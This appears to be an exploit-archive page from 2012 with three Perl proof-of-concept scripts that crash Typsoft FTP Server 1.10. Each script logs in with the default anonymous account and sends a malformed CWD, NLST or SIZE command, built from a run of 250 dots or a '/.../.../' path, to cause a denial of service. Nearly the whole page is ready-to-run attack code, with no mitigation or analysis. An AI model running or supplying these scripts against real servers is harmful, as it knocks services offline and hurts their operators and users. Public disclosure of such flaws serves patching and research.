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Typsoft FTP Server 1.10 Denial Of Service

Typsoft FTP Server 1.10 Denial Of Service
Posted Feb 7, 2012
Authored by Balazs Makany

Three proof of concept exploits that demonstrate denial of service vulnerabilities in Typsoft FTP server version 1.10.

tags | exploit, denial of service, vulnerability, proof of concept
MD5 | df9286e98ac358e8f0a5ed272a271e60

Typsoft FTP Server 1.10 Denial Of Service

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Exploit 1:


#!/usr/bin/perl
# Exploit Title: Typsoft FTP Server DoS CWD command
# Date: 02/06/2012
# Author: Balazs Makany
# Software Link: http://sourceforge.net/projects/ftpserv/
# Version: 1.10
# Tested on: Windows 7
# (does not work on Windows XP)
#
# Please note, that you need to have a valid username/password to execute the malformed command on the server. The server comes with an enabled by default Anonymous account, which is used below.
#
use IO::Socket;
$user = "USER anonymous\r\n";
$passw = "PASS anonymous@127.0.0.1\r\n";
$command = "CWD ";
$dos_input = "."x250;
$send = "\r\n";
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$ARGV[0]",
PeerPort => "$ARGV[1]",
);
$socket->recv($serverdata, 1024);
print $serverdata;
$socket->send($user);
$socket->recv($serverdata, 1024);
$socket->send($passw);
$socket->recv($serverdata, 1024);
$socket->send($command.$dos_input.$send);


Exploit 2:

#!/usr/bin/perl
# Exploit Title: Typsoft FTP Server DoS NLST command
# Date: 02/06/2012
# Author: Balazs Makany
# Software Link: http://sourceforge.net/projects/ftpserv/
# Version: 1.10
# Tested on: Windows 7
# (does not work on Windows XP)
#
# Please note, that you need to have a valid username/password to execute the malformed command on the server. The server comes with an enabled by default Anonymous account, which is used below.
#
use IO::Socket;
$user = "USER anonymous\r\n";
$passw = "PASS anonymous@127.0.0.1\r\n";
$command = "NLST ";
$dos_input = "/.../.../.../.../.../";
$send = "\r\n";
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$ARGV[0]",
PeerPort => "$ARGV[1]",
);
$socket->recv($serverdata, 1024);
print $serverdata;
$socket->send($user);
$socket->recv($serverdata, 1024);
$socket->send($passw);
$socket->recv($serverdata, 1024);
$socket->send($command.$dos_input.$send);


Exploit 3:

#!/usr/bin/perl
# Exploit Title: Typsoft FTP Server DoS SIZE command
# Date: 02/06/2012
# Author: Balazs Makany
# Software Link: http://sourceforge.net/projects/ftpserv/
# Version: 1.10
# Tested on: Windows 7
# (does not work on Windows XP)
#
# Please note, that you need to have a valid username/password to execute the malformed command on the server. The server comes with an enabled by default Anonymous account, which is used below.
#
use IO::Socket;
$user = "USER anonymous\r\n";
$passw = "PASS anonymous@127.0.0.1\r\n";
$command = "SIZE ";
$dos_input = "/.../.../.../.../.../";
$send = "\r\n";
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$ARGV[0]",
PeerPort => "$ARGV[1]",
);
$socket->recv($serverdata, 1024);
print $serverdata;
$socket->send($user);
$socket->recv($serverdata, 1024);
$socket->send($passw);
$socket->recv($serverdata, 1024);
$socket->send($command.$dos_input.$send);
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